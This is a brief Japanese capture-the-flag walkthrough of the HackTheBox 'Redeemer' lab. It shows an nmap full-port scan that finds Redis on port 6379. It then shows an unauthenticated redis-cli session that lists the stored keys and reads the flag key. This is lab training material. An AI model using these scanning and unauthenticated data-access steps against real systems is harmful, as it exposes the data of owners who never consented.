概要
HackTheBox:Redeemerのflagを入手する手順を記す。
Port Scan
今回は広範囲にスキャンを掛ける必要があるので--min-rateを設定する。
$ nmap -p- -A redeemer.htb --min-rate 5000
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-13 12:23 EDT
Nmap scan report for redeemer.htb (10.129.153.222)
Host is up (0.25s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 5.0.7
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.61 seconds
スキャン結果からRedisが提供されていることが分かる。
Redis
Redisに接続し、infoを確認する。
$ redis-cli -h redeemer.htb
redeemer.htb:6379> info
~~~
省略
~~~
# Cluster
cluster_enabled:0
# Keyspace
db0:keys=4,expires=0,avg_ttl=0
redeemer.htb:6379>
db0にkeyを4つ保持していることが分かる。
redeemer.htb:6379> keys *
1) "numb"
2) "flag"
3) "temp"
4) "stor"
redeemer.htb:6379> get flag
これでflagを手に入れられる。